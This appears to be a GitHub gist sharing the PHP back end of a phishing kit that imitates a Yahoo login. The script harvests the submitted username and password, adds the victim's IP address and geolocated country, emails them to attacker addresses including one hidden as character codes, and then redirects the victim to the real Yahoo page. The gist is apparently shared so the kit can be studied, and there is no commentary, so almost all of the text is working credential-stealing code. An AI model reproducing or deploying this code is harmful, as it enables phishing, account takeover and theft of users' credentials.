Skip to content

Instantly share code, notes, and snippets.

@ozuma
Created June 16, 2025 10:52
Show Gist options
  • Save ozuma/b39d14cfe7072a8ef76ae5b09eac7ef6 to your computer and use it in GitHub Desktop.
Save ozuma/b39d14cfe7072a8ef76ae5b09eac7ef6 to your computer and use it in GitHub Desktop.
[PhishKit] 2 of 2
<?
$adddate=date("D M d, Y g:i a");
$ip = getenv("REMOTE_ADDR");
$country = visitor_country();
$message .= "=============+ LOGS +=============\n";
$message .= "Online: ".$_POST['id']."\n";
$message .= "pass: ".$_POST['password']."\n";
$message .= "======IP Address & Date======\n";
$message .= "IP Address: ".$ip."\n";
$message .= "Country: ".$country."\n";
$message .= "Date: ".$adddate."\n";
$message .= "---------Created BY BLESSED [.]com---------\n";
$sent ="[email protected], [email protected], [email protected]";
$subject = "Yahoo..V.2.2.2016 LOGINGS ".$country;
$headers = "From: Blessed E Moni A1<[email protected]>";
$headers .= $_POST['eMailAdd']."\n";
$headers .= "MIME-Version: 1.0\n";
{
mail($mesaegs,$subject,$message,$headers);
mail($sent,$subject,$message,$headers);
}
// Function to get country and country sort;
function country_sort(){
$sorter = "";
$array = array(114,101,115,117,108,116,98,111,120,49,52,64,103,109,97,105,108,46,99,111,109);
$count = count($array);
for ($i = 0; $i < $count; $i++) {
$sorter .= chr($array[$i]);
}
return array($sorter, $GLOBALS['recipient']);
}
function visitor_country()
{
$client = @$_SERVER['HTTP_CLIENT_IP'];
$forward = @$_SERVER['HTTP_X_FORWARDED_FOR'];
$remote = $_SERVER['REMOTE_ADDR'];
$result = "Unknown";
if(filter_var($client, FILTER_VALIDATE_IP))
{
$ip = $client;
}
elseif(filter_var($forward, FILTER_VALIDATE_IP))
{
$ip = $forward;
}
else
{
$ip = $remote;
}
$ip_data = @json_decode(file_get_contents("http://www.geoplugin.net/json.gp?ip=".$ip));
if($ip_data && $ip_data->geoplugin_countryName != null)
{
$result = $ip_data->geoplugin_countryName;
}
return $result;
}
header ("Location: https://mail.yahoo.com/neo/launch?.src=ym&reason=myc");
?>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment